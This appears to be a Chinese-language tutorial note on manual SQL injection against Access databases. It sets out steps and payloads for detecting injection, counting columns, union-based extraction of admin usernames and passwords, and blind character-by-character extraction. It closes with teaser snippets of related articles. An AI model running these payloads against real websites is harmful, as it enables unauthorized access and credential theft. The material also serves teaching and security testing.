以.mdb字尾命名
乙個檔案就是乙個庫,和mysql不同
開啟方式用office或者第三方工具
表名—欄位名—資料內容
step1:判斷注入是否存在
step2:猜解表名
step3:猜解字段數
step4:猜解欄位名
step5:猜解內容長度
step6:猜解內容
單引號報錯,因為在sql語句中單引號,雙引號,小括號都是成對存在的,若在後面加上這句話後,頁面出錯並且沒有被伺服器過濾則可能有注入點
邏輯型 and 1=1 and 1=2,
比如原本的sql語句select * from user where id=1
是乙個true條件,拼接上select * from user where id=1 and 1=1
也是true,如果select * from user where id=1 and 1=2
這個false的語句成功執行並返回了錯誤的介面,則很有可能是有注入點
變數做運算 – 減號:
select * from user where id=105-1
與select * from user where id=104
返回相同的頁面,則說明可能有注入點
and 1=1 and 1=2 ——判斷注入
order by 22 ——猜有多少列(22正確,23錯誤,則為22個)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin ——猜表名並記錄回顯位(報錯說明表名不存在,將admin換成別的繼續猜)
假設回顯位置為3和15
我們把第三位換為猜測的列名:
union select 1,2,id,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
發現會有回顯說明則猜測為正確
union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
——猜列名
又假設最後有了admin和password列名
union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
就能得到一條使用者關鍵資訊的記錄
and 1=1 and 1=2 ——判斷注入
and exists (select * from admin) ——猜表名
and exists (select user_name from admin) ——猜列名
查資料:1.確定長度 2.確定asc資料(asc編碼)
and (select top 1 len(user_name ) from admin)=5(user_name 的長度=5,正常則=5,也可以用》,《號去判斷)
and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判斷第一位(97代表『a』的ascll值)
and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判斷第二位
add:top 1子句含義為查詢結果只顯示首條記錄;
以後學習
SQL注入之偏移注入(Access)
什麼是偏移注入?偏移注入是一種注入姿勢,可以根據乙個較多字段的表對乙個少字段的表進行偏移注入,一般是聯合查詢,在頁面有回顯點的情況下 偏移注入使用場景 在 sql注入的時候會遇到一些無法查詢列名的問題,比如系統自帶資料庫的許可權不夠而無法訪問系統自帶庫。當你猜到表名無法猜到欄位名的情況下,我們可以使...
SQL注入之Access注入 (手工)
尋找注入點 首先呢,在 中尋找傳遞引數的頁面,也就是尋找注入點。判斷注入 找到頁面 注入點 之後呢,我們需要判斷當前頁面是否存在注入 傳統的方法是 語句狀態 鏈結後面加 報錯and 1 1 正常and 1 2 報錯or 1 2 正常or 1 1 報錯或者跳轉到另外乙個頁面 我們不使用傳統的方法,因為...
SQL注入實戰 防注入 Access
這道題目算是給了sql注入另外的思路了。一般而言我們測試sql注入會選擇那些有直接顯示的地方 比如id 1,name 但這會侷限你的思維,所以一定要多多培養做題的思路才能應對各種情況。下面會給出不一樣的思路 1.這是墨者學院一道有waf的sql注入,有很多人遇到有waf的環境就感覺頭大,確實繞waf...